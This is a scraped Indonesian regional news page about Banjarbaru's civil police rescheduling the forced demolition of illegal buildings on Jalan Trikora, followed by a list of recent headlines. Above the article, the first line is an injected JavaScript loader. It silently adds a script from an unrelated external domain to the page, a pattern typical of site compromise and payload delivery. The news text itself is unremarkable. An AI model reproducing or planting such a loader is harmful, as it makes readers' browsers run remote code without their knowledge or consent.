(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Tertunda Dua Kali, Besok Pembongkaran Bangunan Liar di Trikora


KANALKALIMANTAN.COM, BANJARBARU – Bangunan liar di Jalan Trikora Kelurahan Landasan Ulin Tengah Kecamatan Liang Anggang Kota Banjarbaru akhirnya akan dibongkar paksa.

Rencana ulang jadwal pembongkaran diketahui melalui rapat gelar perkara penertiban bangunan liar di aula kantor Satpol PP Kota Banjarbaru, Rabu (10/1/2023) siang.

Eksekusi pembongkaran bangunan itu dijadwalkan ulang setelah sempat tertunda dua kali yakni pada Senin (8/1/2023) dan Rabu (10/1/2023).

Baca juga: Gudang TNI Jadi Sarang Penyimpanan Curanmor, Disewa Rp30 Juta per Bulan

Kabid Penegakan Produk Hukum Daerah Satpol PP Banjarbaru, Denny Mahendrata. Foto: wanda

Kabid Penegakan Produk Hukum Daerah Satpol PP Banjarbaru, Denny Mahendrata menyebutkan, dari total 90 bangunan yang diberikan surat peringatan (SP) pada 2023 lalu, kini terdata ada 53 bangunan yang dengan suka rela telah dibongkar oleh pemilik masing-masing.

Kemudian tersisa 37 unit bangunan, yang tepat di hari sebelumnya Satuan Polisi Pamong Praja (Satpol PP) telah melayangkan SP terakhir terkait batas waktu terakhir berdirinya bangunan.

“37 unit sisanya itu izinnya dikabarkan masih diproses dan nantinya kita akan minta Disperkim untuk memastikan kembali karena perintah kita jelas dari arahan pak Sekda bahwa semua bangunan itu harus dirobohkan,” ujar Denny Mahendrata, Rabu (10/1/2023) siang.

“Persoalan mereka mengajukan izin kembali ya silahkan, tapi nanti akan diteliti apakah bangunan itu sesuai dengan pemanfaatannya kemudian, sinergi gak dengan tata ruang di situ,” sambung dia.

Baca juga: Terbukti Selewengkan Dana BOS, Pengawas SD di Tapin Divonis 1 Tahun Penjara

Ia menyebutkan dari 37 bangunan yang sudah diberikan SP, 28 unit diantaranya mulai memundurkan bangunan dari garis sempadan jalan.

Sementara tersisa sembilan bangunan yang tidak melakukan tindakan pembongkaran sendiri maupun pemunduran bangunan.

“Sembilan bangunan itu lah yang besok akan kita lakukan pembongkaran di lapangan,” tegasnya.

Terkait pemunduran bangunan, pihaknya mengaku tetap berpegang teguh pada Perda Nomor 6 tahun 2022, dimana secara administrasi setiap bangunan harus memiliki izin bangunan gedung.

Baca juga: Diduga Pengedar Sabu, Lelaki di Loktabat Utara Ditangkap Polisi

“Yang kedua juga sesuai dengan RTRW-nya, kemudian pemanfaatan bangunannya jelas, kalau rumah harus difungsikan sebagai rumah,” sebut dia.

“Namun di lapangan kita melihat bahwa bangunan yang diperuntukan sebagai rumah malah beralih fungsi menjadi warung kopi hingga warung jablay, itu lah yang membuat kita ingin menertibkan karena keberadaan bangunan itu sungguh betul-betul liar,” sambung dia.

Sementara itu dalam rapat koordinasi hari ini, pihak terkait juga sepakat akan meminjam satu unit alat berupa eksavator untuk mengeksekusi pembongkaran.

“Dijadwalkan sementara 1 unit, melihat kebutuhan satu buah eksavator, yang mana juga di lapangan kita siapkan bersama dengan petugas PLN yang akan bergerak secara klaster tidak terpisah pisah dalam meratakan bangunan,” jelas Mahendrata.

Baca juga: Sepanjang 2013 Operasional 2.248 Pinjol Ilegal Dihentikan

Begitu pun dengan personel TNI dan Polri, sambung dia, siap menjadi back up sistem jika nanti ditemukan adanya perlawanan maupun gesekan dari masyarakat.

Selain Satpol PP dan Disperkim Banjarbaru, sejumlah SKPD rencananya juga akan ikut andil dalam eksekusi pembongkaran banguna liar itu.

Seperti Dinas PUPR yang akan mengukur jika ditemukan pelanggaran mengenai garis sempadan jalan, Dinas Perizinan, Dinas Lingkungan Hidup, serta Dinas Perhubungan.

“Tentu kami mengharapkan besok itu di lapangan semuanya akan berjalan dengan lancar artinya bahwa SP SP yang telah dikeluarkan sudah seharusnya ditaati oleh para pemilik bangunan ini,” tuntas dia. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

2 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

2 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

14 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

14 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

17 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

23 jam ago

This website uses cookies.